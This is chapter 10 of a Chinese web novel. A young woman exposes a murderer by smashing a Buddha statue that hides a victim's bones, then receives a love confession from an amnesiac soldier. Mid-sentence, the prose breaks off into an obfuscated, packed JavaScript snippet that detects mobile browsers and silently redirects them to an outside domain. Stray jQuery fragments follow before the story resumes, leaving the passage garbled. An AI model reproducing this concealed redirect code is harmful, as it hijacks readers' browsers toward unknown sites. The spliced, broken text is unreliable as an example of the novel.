10. 第十章

作品:《千山来

    此话一出,全场寂静。


    姜逢继续:“我去拜访过徐氏,她房中有座一人等身的佛像,当时我就觉得奇怪,一间如此狭小逼仄的屋子,怎么会放一尊这么大的佛像。”


    “后来,我趁徐氏没注意,悄悄碰了下那尊佛像,可谁知,那佛像里头竟是空心的,我不过稍加用力,它便移了位!”


    “大家都知道,虽然不可能所有佛像都是纯金的,大多数都是镀金,分量没有纯金那么足,但一尊一人等身高的佛像,岂是我一介弱女子能轻而易举移动的?所以我猜测,傅沅的尸体一定就在里面!”


    “猜测?你只凭猜测就敢污蔑我啊?”贾有德张牙舞爪要对姜逢动手,被一旁眼疾手快的官差死死摁在地上,他不断挣扎,像一条搁浅在岸上垂死扑腾的鱼。


    县令头疼得厉害,吩咐一旁的官差:“去慧济寺将徐氏带来,还有那尊佛像。”


    “我也去!”姜逢立马站起来。


    “你去干什么!”县令怒而斥道,他现在看见姜逢就脑仁疼,浑身哪哪都不得劲。


    姜逢看着贾有德一字一句慢悠悠道:”我去亲手揭开你的遮羞布。”


    慧济寺内。


    佛像被搬至院内,在阳光的照耀下,愈显金贵,佛陀低眉为慈目,普渡众生,却无法洗涤己身。


    姜逢抡了把锤子,掂在手上试了试重量,觉得勉强过关后,她看向一旁被五花大绑的徐怜,以及一众瑟瑟发抖的小沙弥,无声笑了:“看好了,你们的了空师傅,究竟是怎么样一个恶鬼!”


    “哗——”


    佛像碎了一地。


    恶臭传来,众人皆掩鼻不闻。


    “噗通”一声,一具碎骨从里头赫然掉落出来,头骨滚落,轱辘轱辘滚到徐怜脚边。


    “啊!”


    徐怜吓得两眼翻白,几乎被人踩了尾巴,尖叫蹿出喉咙。


    院中不少人都已经被恶心得直反胃,抱着肚子面如菜色。


    姜逢觉得好笑,戏谑地看着徐怜:“你怕什么?当年不就是你和贾有德一起把她放进去的吗?这么多年,你与她同处一室,如今不过换了个外壳,你就受不了了?”


    她弯下腰凑近,呵出的热气喷洒在徐怜耳旁,犹如鬼魅:“佛祖护不了你,去见阎王吧!”


    尸体被拼好送回府衙,也许那已算不得一具尸体,肉身已经腐化,余下的只有白骨。听闻傅家二老见着白骨便哭着昏死了过去,贾有德与徐怜被关入大牢,秋后问斩,他府中那些小妾也都得了自由身。


    事后,姜逢问姜迎:“你当初为什么一面要我离京,一面又暗示我去探查此事?”


    姜迎看着明媚的日光,觉得心情颇好,便难得地多说了几句:“那日你说你不想嫁给贾有德,我便让人去查他把柄,期望能逼迫他退婚。”


    “本来我是想将你放走后自己去揭发他以绝后患,可我看你那日神色不像要走,知道你一定不会善罢甘休。与其让你自己如无头苍蝇一般乱摸乱撞,不如我来助你一臂之力。”


    姜逢想了想,又问:“贾有德不是背靠永定侯吗?县令这么处置了他,永定侯会放过县令吗?”


    姜迎顿了顿,奇怪地看了她一眼,姜逢被看得莫名其妙:“干嘛?”


    “你不知道吗?县令出身相瀛陈氏,就是太后的那个陈氏。”


    “……”


    她恨这个虚伪的世界。


    “行了,我走了。”姜迎目光似无意般瞥了眼跟在后头的姜小四,也不等姜逢回答,自顾自施施然离开。


    姜小四见姜迎走了,皱着脸可怜巴巴跟上来对姜迎道:“姜姐姐,手腕好疼,那个手铐可重了,我都蹭破皮了。”


    “……”


    姜逢缄默不语,像看傻子一样看着他:“大哥,你是不是忘了,我见到你的时候你身上穿着盔甲,你知道这意味着什么吗?意味着你是个身经百战的士兵,这皮糙肉厚的跟我在这儿装什么可怜,是不是想偷懒啊?”


    她一把提溜起姜小四的耳朵拖着他往前走,姜小四疼得吱哇乱叫,捂着耳朵低垂着眼不敢再靠近姜逢。


    二人一前一后回了半闲书肆,付凝玉早早等在门口,见人回来,又惊又喜道:“你们可算回来了,你都不知道,你这回可出了名了,城中百姓都在传,姜家二姑娘是个女英雄,听说这些邸报是你写的,都一窝蜂地过来买呢,你是不知道今日我这书肆生意有多好!”


    纵使付凝玉不说,姜逢也看得出来,往日她的邸报虽然也有不少人买,却从没有像今天这样,书肆里头挤满了人,议论声大得能把屋顶给掀了,她甚至怀疑,付凝玉站在门口不是为了等她,只是因为她挤不进去里头。


    “诶,那不是姜家二姑娘吗?二姑娘来了!”


    人群中不知是谁忽然喊了一嗓子,吸引了所有人的目光,不过须臾间,几乎所有人都围了上来。


    “姜姑娘,你真是女中豪杰啊,这贾有德平日里横行霸道,乡亲们有苦说不出,终于有人来治治他了!”


    “是啊,真是大快人心!除去了一条地头蛇!”


    “……”


    众人叽叽喳喳围着她说这说那,姜逢却破天荒地觉得有些疲惫,她看着人群中一张张或熟悉或陌生的面孔,这其中不乏有从前逼问她为何要毒害亲弟的人,她是真的疲于应对了。


    随口应付了几句,姜逢便独自躲进了后院。很奇怪,明明是件大快人心的事,她却半点开心不起来,为什么呢。


    房门蓦然被敲响,姜逢心头一震回过神来,门帘后头冒出一颗毛茸茸的脑袋,姜小四端着一盘糕点探头问:“姜姐姐,你今天还没来得及吃饭吧?我给你买了点荷花酥,趁热吃。”


    “……你进来吧。”


    抬头看着姜小四忙忙叨叨摆糕点的背影,姜逢突然觉得有个人陪着她说说话也好。


    “姜姐姐,吃。”


    姜小四塞了块荷花酥放到姜逢手心,笑眯眯地看着她。


    ……好像也不是那么需要人陪了。


    顶着姜小四灼热的目光,姜逢硬着头皮咬了一口,赞赏道:“好吃。”


    “好吃就多吃点。”姜小四把一整盘糕点都放到她手里,然后继续盯着她笑。


    姜逢被他看得有些毛骨悚然,拿着糕点吃也不是不吃也不是,她索性把荷花酥放回盘子里,自暴自弃地问:“你想说什么?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457846|169596||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    觉得好笑?前几天还是人人唾弃的毒妇,今天就摇身一变成了什么女中豪杰,很可笑吧?”


    “不,你很勇敢。”他双眼一错不错地看着她,一字一句认真道,“你有保护自己的能力,甚至有反击的勇气,这是世间大多数女子做不到的。”


    “都说女子命若浮萍,只能由着他人宰割,说得久了,不光旁人信了,就连她们自己都信了,以至于忘了她们本身有多么强大。姐姐,还好你没忘。”


    姜逢身体颤了颤,掩过头藏起眼中的湿意,喉咙被堵得死死的,一句话都说不出来。


    她大口呼吸了几口,忍着哽咽道:“你……为什么……只是因为我救了你吗?”


    这话说得语焉不详,还好姜小四听懂了,他唇角勾起,目光灼灼地看向她,那份灼热似要将她烫出个洞来:“因为我喜欢你。”


    “什么?”


    姜逢一怔。


    “我虽然忘记了从前的事,不记得自己是谁,看过什么风景,遇见过什么人,但我想,就算往后我用一生去看遍落雪的屋檐,走过无数长满青苔的石阶,喝过北境带着冰碴的生水,攀上一座又一座险峰,我也再遇不到你这样好的女子。”


    “你这样好,我恨不能将你藏起来不叫旁人瞧见,又觉得,你这样的女子是合该让天下人都为之倾倒的,你应该去做所有你想做的,你爱做的,不受任何人困扰。所以,这些天我想了又想,究竟该不该对你表明我的心意,怕烦扰你,无数次想开口又无数次退却,但是……”


    “我想叫你知道,你是天底下最好最好的姑娘,无论旁人说什么,我都只喜欢你,我的眼里只看得到你。”


    空荡的房间内落针可闻,直白得不能再直白的话语叫姜逢的心跳了又跳,心底极柔软的一处被人揉了又揉,软得就要化出水来。


    “可是……”姜逢有心逗他,“说不准你已成过婚了,只是你忘了而已。”


    “怎么可能?!”姜小四眉心一跳,急得胡言乱语,“你也说了,我出自顺阳王治下,顺阳王这些年南征北战忙得不可开交,我跟着他一定也是四处打仗,哪有闲心管这些儿女私事?”


    “好啦,不逗你了。”姜逢见他这副手忙脚乱的模样,“噗嗤”笑出声来,又问道,“如果你没有娶妻生子,那你会娶我吗?”


    姜小四有些受宠若惊,瞳孔微微放大,他像是从来没有思考过这个问题,这时显得极为苦恼的样子来。


    半晌,他道:“想娶,但不敢娶。”


    “为何?”姜逢声音扬了起来,十分不解。


    “怕你不愿嫁我,怕你成婚后便只顾得上操持家事,怕你被柴米油盐所累。我喜欢的,是有勇有谋,机灵狡猾,像个小狐狸一样可爱的姜逢,若将这样的女子困于后宅,倒真是我的罪过了。”


    姜逢笑了,那笑里有欣喜,有温柔,还夹着一点不易察觉的苦涩。


    姜小四没待多久就出去了,毕竟孤男寡女共处一室总是不好,何况前头人多眼杂,若是被看见,恐连累姜逢名声。


    久久望着那扇被阖上的门,姜逢轻声嘲道:“就算你愿意娶我,我也注定嫁不了你的,你我终究,身份悬殊。”